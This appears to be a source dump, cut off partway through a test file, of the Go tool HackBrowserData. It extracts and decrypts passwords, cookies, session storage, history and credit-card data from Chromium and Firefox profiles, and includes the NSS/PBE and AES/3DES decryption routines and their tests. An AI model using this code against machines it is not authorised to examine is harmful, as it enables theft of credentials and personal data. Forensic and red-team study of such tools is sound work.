	"github.com/moond4rk/hackbrowserdata/log"
	"github.com/moond4rk/hackbrowserdata/types"
	"github.com/moond4rk/hackbrowserdata/utils/byteutil"
	"github.com/moond4rk/hackbrowserdata/utils/typeutil"
)

func init() {
	extractor.RegisterExtractor(types.ChromiumSessionStorage, func() extractor.Extractor {
		return new(ChromiumSessionStorage)
	})
	extractor.RegisterExtractor(types.FirefoxSessionStorage, func() extractor.Extractor {
		return new(FirefoxSessionStorage)
	})
}

type ChromiumSessionStorage []session

type session struct {
	IsMeta bool
	URL    string
	Key    string
	Value  string
}

const maxLocalStorageValueLength = 1024 * 2

func (c *ChromiumSessionStorage) Extract(_ []byte) error {
	db, err := leveldb.OpenFile(types.ChromiumSessionStorage.TempFilename(), nil)
	if err != nil {
		return err
	}
	defer os.RemoveAll(types.ChromiumSessionStorage.TempFilename())
	defer db.Close()

	iter := db.NewIterator(nil, nil)
	for iter.Next() {
		key := iter.Key()
		value := iter.Value()
		s := new(session)
		s.fillKey(key)
		// don't all value upper than 2KB
		if len(value) < maxLocalStorageValueLength {
			s.fillValue(value)
		} else {
			s.Value = fmt.Sprintf("value is too long, length is %d, supported max length is %d", len(value), maxLocalStorageValueLength)
		}
		if s.IsMeta {
			s.Value = fmt.Sprintf("meta data, value bytes is %v", value)
		}
		*c = append(*c, *s)
	}
	iter.Release()
	err = iter.Error()
	return err
}

func (c *ChromiumSessionStorage) Name() string {
	return "sessionStorage"
}

func (c *ChromiumSessionStorage) Len() int {
	return len(*c)
}

func (s *session) fillKey(b []byte) {
	keys := bytes.Split(b, []byte("-"))
	if len(keys) == 1 && bytes.HasPrefix(keys[0], []byte("META:")) {
		s.IsMeta = true
		s.fillMetaHeader(keys[0])
	}
	if len(keys) == 2 && bytes.HasPrefix(keys[0], []byte("_")) {
		s.fillHeader(keys[0], keys[1])
	}
	if len(keys) == 3 {
		if string(keys[0]) == "map" {
			s.Key = string(keys[2])
		} else if string(keys[0]) == "namespace" {
			s.URL = string(keys[2])
			s.Key = string(keys[1])
		}
	}
}

func (s *session) fillMetaHeader(b []byte) {
	s.URL = string(bytes.Trim(b, "META:"))
}

func (s *session) fillHeader(url, key []byte) {
	s.URL = string(bytes.Trim(url, "_"))
	s.Key = string(bytes.Trim(key, "\x01"))
}

func convertUTF16toUTF8(source []byte, endian unicode.Endianness) ([]byte, error) {
	r, _, err := transform.Bytes(unicode.UTF16(endian, unicode.IgnoreBOM).NewDecoder(), source)
	return r, err
}

// fillValue fills value of the storage
// TODO: support unicode charter
func (s *session) fillValue(b []byte) {
	value := bytes.Map(byteutil.OnSplitUTF8Func, b)
	s.Value = string(value)
}

type FirefoxSessionStorage []session

const (
	querySessionStorage = `SELECT originKey, key, value FROM webappsstore2`
	closeJournalMode    = `PRAGMA journal_mode=off`
)

func (f *FirefoxSessionStorage) Extract(_ []byte) error {
	db, err := sql.Open("sqlite", types.FirefoxSessionStorage.TempFilename())
	if err != nil {
		return err
	}
	defer os.Remove(types.FirefoxSessionStorage.TempFilename())
	defer db.Close()

	_, err = db.Exec(closeJournalMode)
	if err != nil {
		log.Debugf("close journal mode error: %v", err)
	}
	rows, err := db.Query(querySessionStorage)
	if err != nil {
		return err
	}
	defer rows.Close()
	for rows.Next() {
		var originKey, key, value string
		if err = rows.Scan(&originKey, &key, &value); err != nil {
			log.Debugf("scan session storage error: %v", err)
		}
		s := new(session)
		s.fillFirefox(originKey, key, value)
		*f = append(*f, *s)
	}
	return nil
}

func (s *session) fillFirefox(originKey, key, value string) {
	// originKey = moc.buhtig.:https:443
	p := strings.Split(originKey, ":")
	h := typeutil.Reverse([]byte(p[0]))
	if bytes.HasPrefix(h, []byte(".")) {
		h = h[1:]
	}
	if len(p) == 3 {
		s.URL = fmt.Sprintf("%s://%s:%s", p[1], string(h), p[2])
	}
	s.Key = key
	s.Value = value
}

func (f *FirefoxSessionStorage) Name() string {
	return "sessionStorage"
}

func (f *FirefoxSessionStorage) Len() int {
	return len(*f)
}


================================================
FILE: cmd/hack-browser-data/main.go
================================================
package main

import (
	"os"

	"github.com/urfave/cli/v2"

	"github.com/moond4rk/hackbrowserdata/browser"
	"github.com/moond4rk/hackbrowserdata/log"
	"github.com/moond4rk/hackbrowserdata/utils/fileutil"
)

var (
	browserName  string
	outputDir    string
	outputFormat string
	verbose      bool
	compress     bool
	profilePath  string
	isFullExport bool
)

func main() {
	Execute()
}

func Execute() {
	app := &cli.App{
		Name:      "hack-browser-data",
		Usage:     "Export passwords|bookmarks|cookies|history|credit cards|download history|localStorage|extensions from browser",
		UsageText: "[hack-browser-data -b chrome -f json --dir results --zip]\nExport all browsing data (passwords/cookies/history/bookmarks) from browser\nGithub Link: https://github.com/moonD4rk/HackBrowserData",
		Version:   "0.5.0",
		Flags: []cli.Flag{
			&cli.BoolFlag{Name: "verbose", Aliases: []string{"vv"}, Destination: &verbose, Value: false, Usage: "verbose"},
			&cli.BoolFlag{Name: "compress", Aliases: []string{"zip"}, Destination: &compress, Value: false, Usage: "compress result to zip"},
			&cli.StringFlag{Name: "browser", Aliases: []string{"b"}, Destination: &browserName, Value: "all", Usage: "available browsers: all|" + browser.Names()},
			&cli.StringFlag{Name: "results-dir", Aliases: []string{"dir"}, Destination: &outputDir, Value: "results", Usage: "export dir"},
			&cli.StringFlag{Name: "format", Aliases: []string{"f"}, Destination: &outputFormat, Value: "csv", Usage: "output format: csv|json"},
			&cli.StringFlag{Name: "profile-path", Aliases: []string{"p"}, Destination: &profilePath, Value: "", Usage: "custom profile dir path, get with chrome://version"},
			&cli.BoolFlag{Name: "full-export", Aliases: []string{"full"}, Destination: &isFullExport, Value: true, Usage: "is export full browsing data"},
		},
		HideHelpCommand: true,
		Action: func(c *cli.Context) error {
			if verbose {
				log.SetVerbose()
			}
			browsers, err := browser.PickBrowsers(browserName, profilePath)
			if err != nil {
				log.Errorf("pick browsers %v", err)
				return err
			}

			for _, b := range browsers {
				data, err := b.BrowsingData(isFullExport)
				if err != nil {
					log.Errorf("get browsing data error %v", err)
					continue
				}
				data.Output(outputDir, b.Name(), outputFormat)
			}

			if compress {
				if err = fileutil.CompressDir(outputDir); err != nil {
					log.Errorf("compress error %v", err)
				}
				log.Debug("compress success")
			}
			return nil
		},
	}
	err := app.Run(os.Args)
	if err != nil {
		log.Fatalf("run app error %v", err)
	}
}


================================================
FILE: crypto/asn1pbe.go
================================================
package crypto

import (
	"crypto/hmac"
	"crypto/sha1"
	"crypto/sha256"
	"encoding/asn1"
	"errors"
)

type ASN1PBE interface {
	Decrypt(globalSalt []byte) ([]byte, error)

	Encrypt(globalSalt, plaintext []byte) ([]byte, error)
}

func NewASN1PBE(b []byte) (pbe ASN1PBE, err error) {
	var (
		nss   nssPBE
		meta  metaPBE
		login loginPBE
	)
	if _, err := asn1.Unmarshal(b, &nss); err == nil {
		return nss, nil
	}
	if _, err := asn1.Unmarshal(b, &meta); err == nil {
		return meta, nil
	}
	if _, err := asn1.Unmarshal(b, &login); err == nil {
		return login, nil
	}
	return nil, ErrDecodeASN1Failed
}

var ErrDecodeASN1Failed = errors.New("decode ASN1 data failed")

// nssPBE Struct
//
//	SEQUENCE (2 elem)
//		OBJECT IDENTIFIER
//		SEQUENCE (2 elem)
//			OCTET STRING (20 byte)
//			INTEGER 1
//	OCTET STRING (16 byte)
type nssPBE struct {
	AlgoAttr struct {
		asn1.ObjectIdentifier
		SaltAttr struct {
			EntrySalt []byte
			Len       int
		}
	}
	Encrypted []byte
}

// Decrypt decrypts the encrypted password with the global salt.
func (n nssPBE) Decrypt(globalSalt []byte) ([]byte, error) {
	key, iv := n.deriveKeyAndIV(globalSalt)

	return DES3Decrypt(key, iv, n.Encrypted)
}

func (n nssPBE) Encrypt(globalSalt, plaintext []byte) ([]byte, error) {
	key, iv := n.deriveKeyAndIV(globalSalt)

	return DES3Encrypt(key, iv, plaintext)
}

// deriveKeyAndIV derives the key and initialization vector (IV)
// from the global salt and entry salt.
func (n nssPBE) deriveKeyAndIV(globalSalt []byte) ([]byte, []byte) {
	salt := n.AlgoAttr.SaltAttr.EntrySalt
	hashPrefix := sha1.Sum(globalSalt)
	compositeHash := sha1.Sum(append(hashPrefix[:], salt...))
	paddedEntrySalt := paddingZero(salt, 20)

	hmacProcessor := hmac.New(sha1.New, compositeHash[:])
	hmacProcessor.Write(paddedEntrySalt)

	paddedEntrySalt = append(paddedEntrySalt, salt...)
	keyComponent1 := hmac.New(sha1.New, compositeHash[:])
	keyComponent1.Write(paddedEntrySalt)

	hmacWithSalt := append(hmacProcessor.Sum(nil), salt...)
	keyComponent2 := hmac.New(sha1.New, compositeHash[:])
	keyComponent2.Write(hmacWithSalt)

	key := append(keyComponent1.Sum(nil), keyComponent2.Sum(nil)...)
	iv := key[len(key)-8:]
	return key[:24], iv
}

// MetaPBE Struct
//
//	SEQUENCE (2 elem)
//		OBJECT IDENTIFIER
//	    SEQUENCE (2 elem)
//	    SEQUENCE (2 elem)
//	      	OBJECT IDENTIFIER
//	       	SEQUENCE (4 elem)
//	       	OCTET STRING (32 byte)
//	      		INTEGER 1
//	       		INTEGER 32
//	       		SEQUENCE (1 elem)
//	          	OBJECT IDENTIFIER
//	    SEQUENCE (2 elem)
//	      	OBJECT IDENTIFIER
//	      	OCTET STRING (14 byte)
//	OCTET STRING (16 byte)
type metaPBE struct {
	AlgoAttr  algoAttr
	Encrypted []byte
}

type algoAttr struct {
	asn1.ObjectIdentifier
	Data struct {
		Data struct {
			asn1.ObjectIdentifier
			SlatAttr slatAttr
		}
		IVData ivAttr
	}
}

type ivAttr struct {
	asn1.ObjectIdentifier
	IV []byte
}

type slatAttr struct {
	EntrySalt      []byte
	IterationCount int
	KeySize        int
	Algorithm      struct {
		asn1.ObjectIdentifier
	}
}

func (m metaPBE) Decrypt(globalSalt []byte) ([]byte, error) {
	key, iv := m.deriveKeyAndIV(globalSalt)

	return AES128CBCDecrypt(key, iv, m.Encrypted)
}

func (m metaPBE) Encrypt(globalSalt, plaintext []byte) ([]byte, error) {
	key, iv := m.deriveKeyAndIV(globalSalt)

	return AES128CBCEncrypt(key, iv, plaintext)
}

func (m metaPBE) deriveKeyAndIV(globalSalt []byte) ([]byte, []byte) {
	password := sha1.Sum(globalSalt)

	salt := m.AlgoAttr.Data.Data.SlatAttr.EntrySalt
	iter := m.AlgoAttr.Data.Data.SlatAttr.IterationCount
	keyLen := m.AlgoAttr.Data.Data.SlatAttr.KeySize

	key := PBKDF2Key(password[:], salt, iter, keyLen, sha256.New)
	iv := append([]byte{4, 14}, m.AlgoAttr.Data.IVData.IV...)
	return key, iv
}

// loginPBE Struct
//
//	OCTET STRING (16 byte)
//	SEQUENCE (2 elem)
//			OBJECT IDENTIFIER
//			OCTET STRING (8 byte)
//	OCTET STRING (16 byte)
type loginPBE struct {
	CipherText []byte
	Data       struct {
		asn1.ObjectIdentifier
		IV []byte
	}
	Encrypted []byte
}

func (l loginPBE) Decrypt(globalSalt []byte) ([]byte, error) {
	key, iv := l.deriveKeyAndIV(globalSalt)
	// The encryption algorithm can be reliably inferred from IV length:
	// - 8 bytes  : 3DES-CBC (legacy Firefox versions)
	// - 16 bytes : AES-CBC (Firefox 144+)
	if len(iv) == 8 {
		// Use 3DES for old Firefox versions
		return DES3Decrypt(key[:24], iv, l.Encrypted)
	} else if len(iv) == 16 {
		// Firefox 144+ uses 32-byte keys (AES-256-CBC)
		// Note: AES128CBCDecrypt is a misnomer - it actually supports all AES key lengths
		return AES128CBCDecrypt(key, iv, l.Encrypted)
	}

	return nil, errors.New("unsupported IV length for loginPBE decryption")
}

func (l loginPBE) Encrypt(globalSalt, plaintext []byte) ([]byte, error) {
	key, iv := l.deriveKeyAndIV(globalSalt)
	// The encryption algorithm can be reliably inferred from IV length:
	// - 8 bytes  : 3DES-CBC (legacy Firefox versions)
	// - 16 bytes : AES-CBC (Firefox 144+)
	// This avoids relying on NSS-specific OIDs, which have changed historically.
	if len(iv) == 8 {
		// Use 3DES for old Firefox versions
		return DES3Encrypt(key[:24], iv, plaintext)
	} else if len(iv) == 16 {
		// Firefox 144+ uses 32-byte keys (AES-256-CBC)
		// Note: AES128CBCDecrypt is a misnomer - it actually supports all AES key lengths
		return AES128CBCEncrypt(key, iv, plaintext)
	}

	return nil, errors.New("unsupported IV length for loginPBE encryption")
}

func (l loginPBE) deriveKeyAndIV(globalSalt []byte) ([]byte, []byte) {
	return globalSalt, l.Data.IV
}


================================================
FILE: crypto/asn1pbe_test.go
================================================
package crypto

import (
	"bytes"
	"encoding/asn1"
	"encoding/hex"
	"testing"

	"github.com/stretchr/testify/assert"
)

var (
	pbeIV               = []byte("01234567") // 8 bytes
	pbePlaintext        = []byte("Hello, World!")
	pbeCipherText       = []byte{0xf8, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1}
	objWithMD5AndDESCBC = asn1.ObjectIdentifier{1, 2, 840, 113549, 1, 5, 3}
	objWithSHA256AndAES = asn1.ObjectIdentifier{2, 16, 840, 1, 101, 3, 4, 1, 46}
	objWithSHA1AndAES   = asn1.ObjectIdentifier{1, 2, 840, 113549, 1, 5, 13}
	nssPBETestCases     = []struct {
		RawHexPBE        string
		GlobalSalt       []byte
		Encrypted        []byte
		IterationCount   int
		Len              int
		Plaintext        []byte
		ObjectIdentifier asn1.ObjectIdentifier
	}{
		{
			RawHexPBE:        "303e302a06092a864886f70d01050d301d04186d6f6f6e6434726b6d6f6f6e6434726b6d6f6f6e6434726b020114041095183a14c752e7b1d0aaa47f53e05097",
			GlobalSalt:       bytes.Repeat([]byte(baseKey), 3),
			Encrypted:        []byte{0x95, 0x18, 0x3a, 0x14, 0xc7, 0x52, 0xe7, 0xb1, 0xd0, 0xaa, 0xa4, 0x7f, 0x53, 0xe0, 0x50, 0x97},
			Plaintext:        pbePlaintext,
			IterationCount:   1,
			Len:              32,
			ObjectIdentifier: objWithSHA1AndAES,
		},
	}
	metaPBETestCases = []struct {
		RawHexPBE        string
		GlobalSalt       []byte
		Encrypted        []byte
		IV               []byte
		Plaintext        []byte
		ObjectIdentifier asn1.ObjectIdentifier
	}{
		{
			RawHexPBE:        "307a3066060960864801650304012e3059303a060960864801650304012e302d04186d6f6f6e6434726b6d6f6f6e6434726b6d6f6f6e6434726b020101020120300b060960864801650304012e301b060960864801650304012e040e303132333435363730313233343504100474679f2e6256518b7adb877beaa154",
			GlobalSalt:       bytes.Repeat([]byte(baseKey), 3),
			Encrypted:        []byte{0x4, 0x74, 0x67, 0x9f, 0x2e, 0x62, 0x56, 0x51, 0x8b, 0x7a, 0xdb, 0x87, 0x7b, 0xea, 0xa1, 0x54},
			IV:               bytes.Repeat(pbeIV, 2)[:14],
			Plaintext:        pbePlaintext,
			ObjectIdentifier: objWithSHA256AndAES,
		},
	}
	loginPBETestCases = []struct {
		RawHexPBE        string
		GlobalSalt       []byte
		Encrypted        []byte
		IV               []byte
		Plaintext        []byte
		ObjectIdentifier asn1.ObjectIdentifier
	}{
		{
			RawHexPBE:        "303b0410f8000000000000000000000000000001301506092a864886f70d010503040830313233343536370410fe968b6565149114ea688defd6683e45303b0410f8000000000000000000000000000001301506092a864886f70d010503040830313233343536370410fe968b6565149114ea688defd6683e45303b0410f8000000000000000000000000000001301506092a864886f70d010503040830313233343536370410fe968b6565149114ea688defd6683e45",
			Encrypted:        []byte{0xfe, 0x96, 0x8b, 0x65, 0x65, 0x14, 0x91, 0x14, 0xea, 0x68, 0x8d, 0xef, 0xd6, 0x68, 0x3e, 0x45},
			GlobalSalt:       bytes.Repeat([]byte(baseKey), 3),
			IV:               pbeIV,
			Plaintext:        pbePlaintext,
			ObjectIdentifier: objWithMD5AndDESCBC,
		},
	}
)

func TestNewASN1PBE(t *testing.T) {
	for _, tc := range nssPBETestCases {
		nssRaw, err := hex.DecodeString(tc.RawHexPBE)
		assert.Equal(t, nil, err)
		pbe, err := NewASN1PBE(nssRaw)
		assert.Equal(t, nil, err)
		nssPBETC, ok := pbe.(nssPBE)
		assert.Equal(t, true, ok)
		assert.Equal(t, nssPBETC.Encrypted, tc.Encrypted)
		assert.Equal(t, nssPBETC.AlgoAttr.SaltAttr.EntrySalt, tc.GlobalSalt)
		assert.Equal(t, nssPBETC.AlgoAttr.SaltAttr.Len, 20)
		assert.Equal(t, nssPBETC.AlgoAttr.ObjectIdentifier, tc.ObjectIdentifier)
	}
}

func TestNssPBE_Encrypt(t *testing.T) {
	for _, tc := range nssPBETestCases {
		nssPBETC := nssPBE{
			Encrypted: tc.Encrypted,
			AlgoAttr: struct {
				asn1.ObjectIdentifier
				SaltAttr struct {
					EntrySalt []byte
					Len       int
				}
			}{
				ObjectIdentifier: tc.ObjectIdentifier,
				SaltAttr: struct {
					EntrySalt []byte
					Len       int
				}{
					EntrySalt: tc.GlobalSalt,
					Len:       20,
				},
			},
		}
		encrypted, err := nssPBETC.Encrypt(tc.GlobalSalt, tc.Plaintext)
		assert.Equal(t, nil, err)
		assert.Equal(t, true, len(encrypted) > 0)
		assert.Equal(t, nssPBETC.Encrypted, encrypted)
	}
}

func TestNssPBE_Decrypt(t *testing.T) {
	for _, tc := range nssPBETestCases {
		nssPBETC := nssPBE{
			Encrypted: tc.Encrypted,
			AlgoAttr: struct {
				asn1.ObjectIdentifier
				SaltAttr struct {
					EntrySalt []byte
					Len       int
				}
			}{
				ObjectIdentifier: tc.ObjectIdentifier,
				SaltAttr: struct {
					EntrySalt []byte
					Len       int
				}{
					EntrySalt: tc.GlobalSalt,
					Len:       20,
				},
			},
		}
		decrypted, err := nssPBETC.Decrypt(tc.GlobalSalt)
		assert.Equal(t, nil, err)
		assert.Equal(t, true, len(decrypted) > 0)
		assert.Equal(t, pbePlaintext, decrypted)
	}
}

func TestNewASN1PBE_MetaPBE(t *testing.T) {
	for _, tc := range metaPBETestCases {
		metaRaw, err := hex.DecodeString(tc.RawHexPBE)
		assert.Equal(t, nil, err)
		pbe, err := NewASN1PBE(metaRaw)
		assert.Equal(t, nil, err)
		metaPBETC, ok := pbe.(metaPBE)
		assert.Equal(t, true, ok)
		assert.Equal(t, metaPBETC.Encrypted, tc.Encrypted)
		assert.Equal(t, metaPBETC.AlgoAttr.Data.IVData.IV, tc.IV)
		assert.Equal(t, metaPBETC.AlgoAttr.Data.IVData.ObjectIdentifier, objWithSHA256AndAES)
	}
}

func TestMetaPBE_Encrypt(t *testing.T) {
	for _, tc := range metaPBETestCases {
		metaPBETC := metaPBE{
			AlgoAttr: algoAttr{
				ObjectIdentifier: tc.ObjectIdentifier,
				Data: struct {
					Data struct {
						asn1.ObjectIdentifier
						SlatAttr slatAttr
					}
					IVData ivAttr
				}{
					Data: struct {
						asn1.ObjectIdentifier
						SlatAttr slatAttr
					}{
						ObjectIdentifier: tc.ObjectIdentifier,
						SlatAttr: slatAttr{
							EntrySalt:      tc.GlobalSalt,
							IterationCount: 1,
							KeySize:        32,
							Algorithm: struct {
								asn1.ObjectIdentifier
							}{
								ObjectIdentifier: tc.ObjectIdentifier,
							},
						},
					},
					IVData: ivAttr{
						ObjectIdentifier: tc.ObjectIdentifier,
						IV:               tc.IV,
					},
				},
			},
			Encrypted: tc.Encrypted,
		}
		encrypted, err := metaPBETC.Encrypt(tc.GlobalSalt, tc.Plaintext)
		assert.Equal(t, nil, err)
		assert.Equal(t, true, len(encrypted) > 0)
		assert.Equal(t, metaPBETC.Encrypted, encrypted)
	}
}

func TestMetaPBE_Decrypt(t *testing.T) {
	for _, tc := range metaPBETestCases {
		metaPBETC := metaPBE{
			AlgoAttr: algoAttr{
				ObjectIdentifier: tc.ObjectIdentifier,
				Data: struct {
					Data struct {
						asn1.ObjectIdentifier
						SlatAttr slatAttr
					}
					IVData ivAttr
				}{
					Data: struct {
						asn1.ObjectIdentifier
						SlatAttr slatAttr
					}{
						ObjectIdentifier: tc.ObjectIdentifier,
						SlatAttr: slatAttr{
							EntrySalt:      tc.GlobalSalt,
							IterationCount: 1,
							KeySize:        32,
							Algorithm: struct {
								asn1.ObjectIdentifier
							}{
								ObjectIdentifier: tc.ObjectIdentifier,
							},
						},
					},
					IVData: ivAttr{
						ObjectIdentifier: tc.ObjectIdentifier,
						IV:               tc.IV,
					},
				},
			},
			Encrypted: tc.Encrypted,
		}
		decrypted, err := metaPBETC.Decrypt(tc.GlobalSalt)
		assert.Equal(t, nil, err)
		assert.Equal(t, true, len(decrypted) > 0)
		assert.Equal(t, pbePlaintext, decrypted)
	}
}

func TestNewASN1PBE_LoginPBE(t *testing.T) {
	for _, tc := range loginPBETestCases {
		loginRaw, err := hex.DecodeString(tc.RawHexPBE)
		assert.Equal(t, nil, err)
		pbe, err := NewASN1PBE(loginRaw)
		assert.Equal(t, nil, err)
		loginPBETC, ok := pbe.(loginPBE)
		assert.Equal(t, true, ok)
		assert.Equal(t, loginPBETC.Encrypted, tc.Encrypted)
		assert.Equal(t, loginPBETC.Data.IV, tc.IV)
		assert.Equal(t, loginPBETC.Data.ObjectIdentifier, objWithMD5AndDESCBC)
	}
}

func TestLoginPBE_Encrypt(t *testing.T) {
	for _, tc := range loginPBETestCases {
		loginPBETC := loginPBE{
			CipherText: pbeCipherText,
			Data: struct {
				asn1.ObjectIdentifier
				IV []byte
			}{
				ObjectIdentifier: tc.ObjectIdentifier,
				IV:               tc.IV,
			},
			Encrypted: tc.Encrypted,
		}
		encrypted, err := loginPBETC.Encrypt(tc.GlobalSalt, plainText)
		assert.Equal(t, nil, err)
		assert.Equal(t, true, len(encrypted) > 0)
		assert.Equal(t, loginPBETC.Encrypted, encrypted)
	}
}

func TestLoginPBE_Decrypt(t *testing.T) {
	for _, tc := range loginPBETestCases {
		loginPBETC := loginPBE{
			CipherText: pbeCipherText,
			Data: struct {
				asn1.ObjectIdentifier
				IV []byte
			}{
				ObjectIdentifier: tc.ObjectIdentifier,
				IV:               tc.IV,
			},
			Encrypted: tc.Encrypted,
		}
		decrypted, err := loginPBETC.Decrypt(tc.GlobalSalt)
		assert.Equal(t, nil, err)
		assert.Equal(t, true, len(decrypted) > 0)
		assert.Equal(t, pbePlaintext, decrypted)
	}
}


================================================
FILE: crypto/crypto.go
================================================
package crypto

import (
	"bytes"
	"crypto/aes"
	"crypto/cipher"
	"crypto/des"
	"errors"
	"fmt"
)

var ErrCiphertextLengthIsInvalid = errors.New("ciphertext length is invalid")

// AES128CBCDecrypt decrypts data using AES-CBC mode.
// Note: Despite the function name, this supports all AES key sizes.
// The Go standard library's aes.NewCipher automatically selects the AES variant
// based on the key length: 16 bytes (AES-128), 24 bytes (AES-192), or 32 bytes (AES-256).
// TODO: Rename to AESCBCDecrypt to avoid confusion about supported key lengths.
func AES128CBCDecrypt(key, iv, ciphertext []byte) ([]byte, error) {
	block, err := aes.NewCipher(key)
	if err != nil {
		return nil, err
	}
	// Check ciphertext length
	if len(ciphertext) < aes.BlockSize {
		return nil, errors.New("AES128CBCDecrypt: ciphertext too short")
	}
	if len(ciphertext)%aes.BlockSize != 0 {
		return nil, errors.New("AES128CBCDecrypt: ciphertext is not a multiple of the block size")
	}

	decryptedData := make([]byte, len(ciphertext))
	mode := cipher.NewCBCDecrypter(block, iv)
	mode.CryptBlocks(decryptedData, ciphertext)

	// unpad the decrypted data and handle potential padding errors
	decryptedData, err = pkcs5UnPadding(decryptedData)
	if err != nil {
		return nil, fmt.Errorf("AES128CBCDecrypt: %w", err)
	}

	return decryptedData, nil
}

func AES128CBCEncrypt(key, iv, plaintext []byte) ([]byte, error) {
	block, err := aes.NewCipher(key)
	if err != nil {
		return nil, err
	}

	if len(iv) != aes.BlockSize {
		return nil, errors.New("AES128CBCEncrypt: iv length is invalid, must equal block size")
	}

	plaintext = pkcs5Padding(plaintext, block.BlockSize())
	encryptedData := make([]byte, len(plaintext))
	mode := cipher.NewCBCEncrypter(block, iv)
	mode.CryptBlocks(encryptedData, plaintext)

	return encryptedData, nil
}

func DES3Decrypt(key, iv, ciphertext []byte) ([]byte, error) {
	block, err := des.NewTripleDESCipher(key)
	if err != nil {
		return nil, err
	}
	if len(ciphertext) < des.BlockSize {
		return nil, errors.New("DES3Decrypt: ciphertext too short")
	}
	if len(ciphertext)%block.BlockSize() != 0 {
		return nil, errors.New("DES3Decrypt: ciphertext is not a multiple of the block size")
	}

	blockMode := cipher.NewCBCDecrypter(block, iv)
	sq := make([]byte, len(ciphertext))
	blockMode.CryptBlocks(sq, ciphertext)

	return pkcs5UnPadding(sq)
}

func DES3Encrypt(key, iv, plaintext []byte) ([]byte, error) {
	block, err := des.NewTripleDESCipher(key)
	if err != nil {
		return nil, err
	}

	plaintext = pkcs5Padding(plaintext, block.BlockSize())
	dst := make([]byte, len(plaintext))
	blockMode := cipher.NewCBCEncrypter(block, iv)
	blockMode.CryptBlocks(dst, plaintext)

	return dst, nil
}

// AESGCMDecrypt chromium > 80 https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/sync/os_crypt_win.cc
func AESGCMDecrypt(key, nounce, ciphertext []byte) ([]byte, error) {
	block, err := aes.NewCipher(key)
	if err != nil {
		return nil, err
	}
	blockMode, err := cipher.NewGCM(block)
	if err != nil {
		return nil, err
	}
	origData, err := blockMode.Open(nil, nounce, ciphertext, nil)
	if err != nil {
		return nil, err
	}
	return origData, nil
}

// AESGCMEncrypt encrypts plaintext using AES encryption in GCM mode.
func AESGCMEncrypt(key, nonce, plaintext []byte) ([]byte, error) {
	block, err := aes.NewCipher(key)
	if err != nil {
		return nil, err
	}
	blockMode, err := cipher.NewGCM(block)
	if err != nil {
		return nil, err
	}
	// The first parameter is the prefix for the output, we can leave it nil.
	// The Seal method encrypts and authenticates the data, appending the result to the dst.
	encryptedData := blockMode.Seal(nil, nonce, plaintext, nil)
	return encryptedData, nil
}

func paddingZero(src []byte, length int) []byte {
	padding := length - len(src)
	if padding <= 0 {
		return src
	}
	return append(src, make([]byte, padding)...)
}

func pkcs5UnPadding(src []byte) ([]byte, error) {
	length := len(src)
	if length == 0 {
		return nil, errors.New("pkcs5UnPadding: src should not be empty")
	}
	padding := int(src[length-1])
	if padding < 1 || padding > aes.BlockSize {
		return nil, errors.New("pkcs5UnPadding: invalid padding size")
	}
	if padding > length {
		return nil, errors.New("pkcs5UnPadding: invalid padding length")
	}
	for _, b := range src[length-padding:] {
		if int(b) != padding {
			return nil, errors.New("pkcs5UnPadding: invalid padding content")
		}
	}
	return src[:length-padding], nil
}

func pkcs5Padding(src []byte, blocksize int) []byte {
	padding := blocksize - (len(src) % blocksize)
	padText := bytes.Repeat([]byte{byte(padding)}, padding)
	return append(src, padText...)
}


================================================
FILE: crypto/crypto_darwin.go
================================================
//go:build darwin

package crypto

import "errors"

var ErrDarwinNotSupportDPAPI = errors.New("darwin not support dpapi")

func DecryptWithChromium(key, password []byte) ([]byte, error) {
	if len(password) <= 3 {
		return nil, ErrCiphertextLengthIsInvalid
	}
	iv := []byte{32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32}
	return AES128CBCDecrypt(key, iv, password[3:])
}

func DecryptWithDPAPI(_ []byte) ([]byte, error) {
	return nil, ErrDarwinNotSupportDPAPI
}


================================================
FILE: crypto/crypto_linux.go
================================================
//go:build linux

package crypto

func DecryptWithChromium(key, encryptPass []byte) ([]byte, error) {
	if len(encryptPass) < 3 {
		return nil, ErrCiphertextLengthIsInvalid
	}
	iv := []byte{32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32}
	return AES128CBCDecrypt(key, iv, encryptPass[3:])
}

func DecryptWithDPAPI(_ []byte) ([]byte, error) {
	return nil, nil
}


================================================
FILE: crypto/crypto_test.go
================================================
package crypto

import (
	"bytes"
	"crypto/sha1"
	"encoding/hex"
	"fmt"
	"testing"

	"github.com/stretchr/testify/assert"
)

const baseKey = "moond4rk"

var (
	aesKey           = bytes.Repeat([]byte(baseKey), 2) // 16 bytes
	aesIV            = []byte("01234567abcdef01")       // 16 bytes
	plainText        = []byte("Hello, World!")
	aes128Ciphertext = "19381468ecf824c0bfc7a89eed9777d2"

	des3Key        = sha1.New().Sum(aesKey)[:24]
	des3IV         = aesIV[:8]
	des3Ciphertext = "a4492f31bc404fae18d53a46ca79282e"

	aesGCMNonce      = aesKey[:12]
	aesGCMCiphertext = "6c49dac89992639713edab3a114c450968a08b53556872cea3919e2e9a"
)

func TestAES128CBCEncrypt(t *testing.T) {
	encrypted, err := AES128CBCEncrypt(aesKey, aesIV, plainText)
	assert.Equal(t, nil, err)
	assert.Equal(t, true, len(encrypted) > 0)
	assert.Equal(t, aes128Ciphertext, fmt.Sprintf("%x", encrypted))
}

func TestAES128CBCDecrypt(t *testing.T) {
	ciphertext, _ := hex.DecodeString(aes128Ciphertext)
	decrypted, err := AES128CBCDecrypt(aesKey, aesIV, ciphertext)
	assert.Equal(t, nil, err)
	assert.Equal(t, true, len(decrypted) > 0)
	assert.Equal(t, plainText, decrypted)
}

func TestDES3Encrypt(t *testing.T) {
	encrypted, err := DES3Encrypt(des3Key, des3IV, plainText)
	assert.Equal(t, nil, err)
	assert.Equal(t, true, len(encrypted) > 0)
	assert.Equal(t, des3Ciphertext, fmt.Sprintf("%x", encrypted))
}

func TestDES3Decrypt(t *testing.T) {
	ciphertext, _ := hex.DecodeString(des3Ciphertext)
	decrypted, err := DES3Decrypt(des3Key, des3IV, ciphertext)
	assert.Equal(t, nil, err)
	assert.Equal(t, true, len(decrypted) > 0)
	assert.Equal(t, plainText, decrypted)
}

func TestAESGCMEncrypt(t *testing.T) {
	encrypted, err := AESGCMEncrypt(aesKey, aesGCMNonce, plainText)
	assert.Equal(t, nil, err)
	assert.Equal(t, true, len(encrypted) > 0)
